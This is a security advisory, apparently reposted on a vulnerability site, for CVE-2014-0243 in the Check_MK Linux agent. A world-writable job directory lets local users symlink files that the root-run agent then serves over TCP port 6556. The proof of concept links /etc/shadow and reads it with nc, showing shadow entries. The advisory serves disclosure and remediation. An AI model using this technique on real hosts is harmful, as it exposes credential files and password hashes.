Check_MK Arbitrary File Disclosure

Credit: LSE
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 === LSE Leading Security Experts GmbH - Security Advisory LSE-2014-05-21 === Check_MK - Arbitrary File Disclosure Vulnerability - -------------------------------------------------- Affected Versions ================= Linux versions of Check_MK equal or greater than commit 7e9088c09963cb2e76030e8b645607692ec56011 until Release v1.2.5i2p1. Other platforms are not affected as the vulnerable feature is not implemented there. Issue Overview ============== Technical Risk: high Likelihood of Exploitation: high Vendor: Mathias Kettner GmbH Credits: LSE Leading Security Experts GmbH employees Markus Vervier and Sascha Kettler Advisory URL: Advisory Status: Public CVE-Number: CVE-2014-0243 Issue Description ================= While conducting a whitebox test LSE Leading Security Experts GmbH discovered that the Check_MK agent processes files from a directory with mode 1777. It is not checked if the files are symbolic or hard filesystem links. As the Check_MK agent runs with root permissions by default, it will read arbitrary files and readable devices with root permissions. The directory mode 1777 was introduced on Sep 5 15:49:46 2013 +0200 in commit 7e9088c09963cb2e76030e8b645607692ec56011: <<>> commit 7e9088c09963cb2e76030e8b645607692ec56011 Author: Bernd Stroessenreuther <> Date: Thu Sep 5 15:49:46 2013 +0200 mk-job: /var/lib/check_mk_agent/job directory is now created with mode 1777 so mk-job can be used by unprivileged users too: fixing bug #1040 <<>> The vulnerable code in the agent for reading job results from "/var/lib/check_mk_agent/job" is: <<>> # Get statistics about monitored jobs if cd /var/lib/check_mk_agent/job; then echo '<<<job>>>' head -n -0 -v * fi <<>> Impact ====== A local user may create a symbolic link in the directory "/var/lib/check_mk_agent/job", pointing to a file he normally would not have access to like "/etc/shadow". The agent expects output from jobs using the mk-job Tool in that directory. It will output the content of all files in the directory on TCP port 6556 by default. Temporary Workaround and Fix ============================ LSE Leading Security Experts GmbH advises to remove the write permissions and the sticky bit for non root users temporarily by setting mode 755 on the directory. Proof of Concept ================ [myhost]$ pwd /var/lib/check_mk_agent/job [myhost]$ ls -l total 0 [myhost]$ ln -s /etc/shadow [myhost]$ ls -la total 4 drwxrwxrwt 2 root root 4096 May 21 15:17 . drwxr-xr-x 3 root root 4096 Feb 26 13:54 .. lrwxrwxrwx 1 myuser mygroup 11 May 21 15:17 shadow -> /etc/shadow [myhost]$ nc 6556 [...] <<<job>>> ==> shadow <== root:$6$[...]:16133:0:99999:7::: bin:*:15937:0:99999:7::: daemon:*:15937:0:99999:7::: adm:*:15937:0:99999:7::: lp:*:15937:0:99999:7::: sync:*:15937:0:99999:7::: shutdown:*:15937:0:99999:7::: halt:*:15937:0:99999:7::: mail:*:15937:0:99999:7::: uucp:*:15937:0:99999:7::: operator:*:15937:0:99999:7::: games:*:15937:0:99999:7::: gopher:*:15937:0:99999:7::: ftp:*:15937:0:99999:7::: nobody:*:15937:0:99999:7::: [...] History ======= 2014-05-20 Issue discovery 2014-05-21 Permission of customer for advisory 2014-05-21 Vendor informed 2014-05-22 CVE requested 2014-05-22 Vendor response 2014-05-22 CVE-2014-0243 assigned 2014-05-26 Official fix available 2014-05-27 Advisory release - -- LSE Leading Security Experts GmbH, Postfach 100121, 64201 Darmstadt Tel.: +49 (0) 6151 86086-0, Fax: -299, Unternehmenssitz: Weiterstadt, Amtsgericht Darmstadt: HRB8649 Geschftsfhrer: Oliver Michel, Sven Walther

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019,


Back to Top